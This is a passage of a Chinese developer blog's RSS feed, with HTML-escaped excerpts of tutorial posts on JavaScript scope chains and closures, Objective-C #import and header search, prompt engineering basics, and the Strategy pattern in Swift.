&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;c&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;c&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;innerTest&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;test&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在上面的例子中，全局，函数test，函数innerTest的执行上下文先后创建。我们设定他们的变量对象分别为VO(global)，VO(test), VO(innerTest)。而innerTest的作用域链，则同时包含了这三个变量对象，所以innerTest的执行上下文可如下表示。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;innerTestEC&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;VO&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {...}, &lt;span style="color:#75715e"&gt;// 变量对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;scopeChain&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [&lt;span style="color:#a6e22e"&gt;VO&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;innerTest&lt;/span&gt;), &lt;span style="color:#a6e22e"&gt;VO&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;test&lt;/span&gt;), &lt;span style="color:#a6e22e"&gt;VO&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;global&lt;/span&gt;)], &lt;span style="color:#75715e"&gt;// 作用域链
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们可以直接用一个数组来表示作用域链，数组的第一项scopeChain[0]为作用域链的最前端，而数组的最后一项，为作用域链的最末端，所有的最末端都为全局变量对象。&lt;/p&gt;
&lt;p&gt;很多人会误解为当前作用域与上层作用域为包含关系，但其实并不是。以最前端为起点，最末端为终点的单方向通道我认为是更加贴切的形容。如图。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-007/image-04.png"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意，因为变量对象在执行上下文进入执行阶段时，就变成了活动对象，这一点在上一篇文章中已经讲过，因此图中使用了AO来表示。Active Object&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;是的，作用域链是由一系列变量对象组成，我们可以在这个单向通道中，查询变量对象中的标识符，这样就可以访问到上一层作用域中的变量了。&lt;/p&gt;
&lt;h5 id="二闭包"&gt;二、闭包&lt;/h5&gt;
&lt;p&gt;对于那些有一点 JavaScript 使用经验但从未真正理解闭包概念的人来说，理解闭包可以看作是某种意义上的重生，突破闭包的瓶颈可以使你功力大增。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;闭包是一种特殊的对象。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;它由两部分组成。执行上下文(代号A)，以及在该执行上下文中创建的函数（代号B）。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;当B执行时，如果访问了A中变量对象中的值，那么闭包就会产生。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在大多数理解中，包括许多著名的书籍，文章里都以函数B的名字代指这里生成的闭包。而在chrome中，则以执行上下文A的函数名代指闭包。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;因此我们只需要知道，一个闭包对象，由A、B共同组成，在以后的篇幅中，我将以chrome的标准来称呼。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// demo01
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;bar&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;bar&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;bar&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;bar&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面的例子，首先有执行上下文foo，在foo中定义了函数bar，而通过对外返回bar的方式让bar得以执行。当bar执行时，访问了foo内部的变量a，b。因此这个时候闭包产生。&lt;/p&gt;</description></item><item><title>iOS中import详解</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E4%B8%ADimport%E8%AF%A6%E8%A7%A3/</link><pubDate>Mon, 08 Jun 2026 23:06:52 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E4%B8%ADimport%E8%AF%A6%E8%A7%A3/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;源码版本说明&lt;/strong&gt;：本文涉及的源码基于 &lt;strong&gt;LLVM/Clang 23.0.0&lt;/strong&gt; 开发版本（llvm-project main分支，commit: &lt;code&gt;301c0d91b558&lt;/code&gt;，2026-01-16）。不同版本的实现细节可能略有差异，但核心机制保持一致。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在Objective-C开发中，头文件引用是日常开发中最基础的操作之一。本文将从Clang编译器的角度，深入讲解iOS中各种import方式的区别、底层查找原理以及最佳实践。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;引用方式&lt;/th&gt;
&lt;th&gt;语法示例&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;#include&lt;/td&gt;
&lt;td&gt;&lt;code&gt;#include &amp;quot;Header.h&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;C/C++传统方式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#import&lt;/td&gt;
&lt;td&gt;&lt;code&gt;#import &amp;quot;Header.h&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Objective-C项目内部引用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#import&lt;/td&gt;
&lt;td&gt;&lt;code&gt;#import &amp;lt;Framework/Header.h&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;系统/第三方Framework&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;@import&lt;/td&gt;
&lt;td&gt;&lt;code&gt;@import Foundation;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Clang Modules方式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PCH&lt;/td&gt;
&lt;td&gt;Prefix Header文件&lt;/td&gt;
&lt;td&gt;预编译公共头文件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="include-vs-import"&gt;#include vs #import&lt;/h2&gt;
&lt;h3 id="include的工作原理"&gt;#include的工作原理&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;#include&lt;/code&gt;是C/C++中的头文件引用方式，它的工作原理非常简单：&lt;strong&gt;预处理器会将目标头文件的内容原封不动地复制粘贴到当前文件中&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这种方式存在一个问题：&lt;strong&gt;重复引用&lt;/strong&gt;。如果多个文件都include了同一个头文件，或者存在循环引用，会导致编译错误。传统的解决方案是使用&lt;strong&gt;Include Guard&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Header.h
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#ifndef HEADER_H
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#define HEADER_H
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 头文件内容
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#endif
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;现代编译器还支持&lt;code&gt;#pragma once&lt;/code&gt;指令，功能相同但更简洁：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Header.h
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#pragma once
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 头文件内容
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="import的增强"&gt;#import的增强&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;#import&lt;/code&gt;是Objective-C对&lt;code&gt;#include&lt;/code&gt;的封装和增强。它在&lt;code&gt;#include&lt;/code&gt;的基础上增加了一层&lt;strong&gt;判重逻辑&lt;/strong&gt;，自动防止同一个头文件被重复引用。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objective-c" data-lang="objective-c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// BClass.m
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#import &amp;#34;AClass.h&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#import &amp;#34;AClass.h&amp;#34; &lt;/span&gt;&lt;span style="color:#75715e"&gt;// 第二次import会被自动忽略
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="双引号-vs-尖括号"&gt;双引号 vs 尖括号&lt;/h3&gt;
&lt;p&gt;在日常开发中，我们经常会看到两种不同的引用方式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objective-c" data-lang="objective-c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#import &amp;#34;MyClass.h&amp;#34; &lt;/span&gt;&lt;span style="color:#75715e"&gt;// 双引号形式
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#import &amp;lt;UIKit/UIKit.h&amp;gt; &lt;/span&gt;&lt;span style="color:#75715e"&gt;// 尖括号形式
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;它们的核心区别在于&lt;strong&gt;搜索路径的范围不同&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>Prompt Engineering</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/prompt-engineering/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/prompt-engineering/</guid><description>&lt;p&gt;大语言模型（LLM）的能力边界很大程度上取决于你怎么跟它说话。同样的模型，一个精心设计的Prompt可以得到专业级的回答，一个随意的Prompt可能只得到平庸甚至错误的结果。Prompt Engineering就是研究如何有效地与LLM沟通的技术。&lt;/p&gt;
&lt;h2 id="一prompt的基本构成"&gt;一、Prompt的基本构成&lt;/h2&gt;
&lt;h3 id="11-一个prompt的解剖"&gt;1.1 一个Prompt的解剖&lt;/h3&gt;
&lt;p&gt;一个高质量的Prompt通常包含以下要素：&lt;/p&gt;
&lt;pre class="mermaid"&gt;graph TD
P["完整的Prompt"] --&gt; R["角色&lt;br/&gt;Role"]
P --&gt; C["上下文&lt;br/&gt;Context"]
P --&gt; I["指令&lt;br/&gt;Instruction"]
P --&gt; E["示例&lt;br/&gt;Examples"]
P --&gt; F["格式要求&lt;br/&gt;Format"]
P --&gt; CO["约束&lt;br/&gt;Constraints"]
&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;要素&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;角色&lt;/td&gt;
&lt;td&gt;设定模型的身份和专业背景&lt;/td&gt;
&lt;td&gt;&amp;ldquo;你是一位有10年经验的iOS架构师&amp;rdquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;上下文&lt;/td&gt;
&lt;td&gt;提供背景信息&lt;/td&gt;
&lt;td&gt;&amp;ldquo;我们的项目使用MVVM架构，Swift语言&amp;rdquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;指令&lt;/td&gt;
&lt;td&gt;明确说明任务&lt;/td&gt;
&lt;td&gt;&amp;ldquo;请review以下代码并指出问题&amp;rdquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;示例&lt;/td&gt;
&lt;td&gt;展示期望的输入输出格式&lt;/td&gt;
&lt;td&gt;给出一个输入-输出样例&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;格式要求&lt;/td&gt;
&lt;td&gt;指定输出的结构&lt;/td&gt;
&lt;td&gt;&amp;ldquo;以Markdown表格形式输出&amp;rdquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;约束&lt;/td&gt;
&lt;td&gt;限制条件&lt;/td&gt;
&lt;td&gt;&amp;ldquo;不超过500字&amp;quot;&amp;ldquo;只使用Swift标准库&amp;rdquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="12-system-prompt-vs-user-prompt"&gt;1.2 System Prompt vs User Prompt&lt;/h3&gt;
&lt;p&gt;在API调用中，消息分为不同的角色：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;messages&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;role&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;system&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;content&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;你是一位资深iOS开发工程师，擅长性能优化。回答时给出具体的代码示例。&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;role&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;user&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;content&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;如何优化UITableView的滚动性能？&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;System Prompt&lt;/strong&gt;：设定模型的整体行为、角色和约束，贯穿整个对话&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;User Prompt&lt;/strong&gt;：具体的问题或指令&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assistant&lt;/strong&gt;：模型的历史回复，提供对话上下文&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二核心prompt技术"&gt;二、核心Prompt技术&lt;/h2&gt;
&lt;h3 id="21-zero-shot-prompting"&gt;2.1 Zero-Shot Prompting&lt;/h3&gt;
&lt;p&gt;直接给指令，不提供任何示例：&lt;/p&gt;</description></item><item><title>策略模式</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E7%AD%96%E7%95%A5%E6%A8%A1%E5%BC%8F/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E7%AD%96%E7%95%A5%E6%A8%A1%E5%BC%8F/</guid><description>&lt;h2 id="定义"&gt;定义&lt;/h2&gt;
&lt;p&gt;策略模式（Strategy Pattern）是一种行为型设计模式，它定义了一系列算法，将每个算法封装起来，并使它们可以相互替换。策略模式让算法独立于使用它的调用者而变化。&lt;/p&gt;
&lt;p&gt;策略模式的核心思想是：将算法的定义与使用分离，通过组合而非继承来实现算法的切换。&lt;/p&gt;
&lt;h2 id="为什么需要策略模式"&gt;为什么需要策略模式&lt;/h2&gt;
&lt;p&gt;在实际开发中，我们经常会遇到这样的场景：同一个功能有多种实现方式，而且这些实现方式需要根据不同条件进行切换。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题场景&lt;/strong&gt;：假设我们正在开发一个电商App的支付功能，需要支持信用卡、Apple Pay、支付宝等多种支付方式。&lt;/p&gt;
&lt;p&gt;最直接的实现方式可能是这样：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;processPayment&lt;/span&gt;(type: String, amount: Double) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; type == &lt;span style="color:#e6db74"&gt;&amp;#34;creditCard&amp;#34;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 信用卡支付逻辑（可能有几十行代码）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;Processing credit card payment...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; type == &lt;span style="color:#e6db74"&gt;&amp;#34;applePay&amp;#34;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Apple Pay支付逻辑&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;Processing Apple Pay...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; type == &lt;span style="color:#e6db74"&gt;&amp;#34;alipay&amp;#34;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 支付宝支付逻辑&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;Processing Alipay...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 后续可能还要添加更多支付方式...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种实现方式存在几个明显的问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;违反开闭原则&lt;/strong&gt;：每次添加新的支付方式，都需要修改这个函数，增加新的分支&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码臃肿&lt;/strong&gt;：随着支付方式增多，函数会变得越来越长，难以维护&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;测试困难&lt;/strong&gt;：所有支付逻辑耦合在一起，难以单独测试某种支付方式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;复用性差&lt;/strong&gt;：如果其他地方也需要使用某种支付逻辑，只能复制代码&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;策略模式的解决思路&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;策略模式将每种支付方式抽取为独立的类（策略），它们都实现相同的接口。调用方只需要持有策略接口的引用，不需要知道具体是哪种实现。&lt;/p&gt;
&lt;p&gt;这样做的好处是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;新增支付方式&lt;/strong&gt;：只需要新建一个策略类，无需修改现有代码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码清晰&lt;/strong&gt;：每种支付逻辑独立封装，职责单一&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;易于测试&lt;/strong&gt;：可以对每种策略单独进行单元测试&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;运行时切换&lt;/strong&gt;：用户可以随时切换支付方式，系统只需要替换策略对象&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简单来说，策略模式就是把「做什么」和「怎么做」分离开来——调用方只关心「做什么」，具体「怎么做」由不同的策略类来决定。&lt;/p&gt;
&lt;h2 id="模式结构"&gt;模式结构&lt;/h2&gt;
&lt;pre class="mermaid"&gt;classDiagram
class Context {
-strategy: Strategy
+setStrategy(strategy: Strategy)
+executeStrategy()
}
class Strategy {
&amp;lt;&amp;lt;interface&amp;gt;&amp;gt;
+execute()
}
class ConcreteStrategyA {
+execute()
}
class ConcreteStrategyB {
+execute()
}
class ConcreteStrategyC {
+execute()
}
Context o-- Strategy
Strategy &lt;|.. ConcreteStrategyA
Strategy &lt;|.. ConcreteStrategyB
Strategy &lt;|.. ConcreteStrategyC
&lt;/pre&gt;
&lt;h2 id="角色说明"&gt;角色说明&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Strategy（策略接口）&lt;/strong&gt;：定义所有支持的算法的公共接口&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ConcreteStrategy（具体策略）&lt;/strong&gt;：实现Strategy接口的具体算法&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Context（上下文）&lt;/strong&gt;：持有Strategy的引用，负责调用策略方法&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ios中的实现"&gt;iOS中的实现&lt;/h2&gt;
&lt;h3 id="基础实现"&gt;基础实现&lt;/h3&gt;
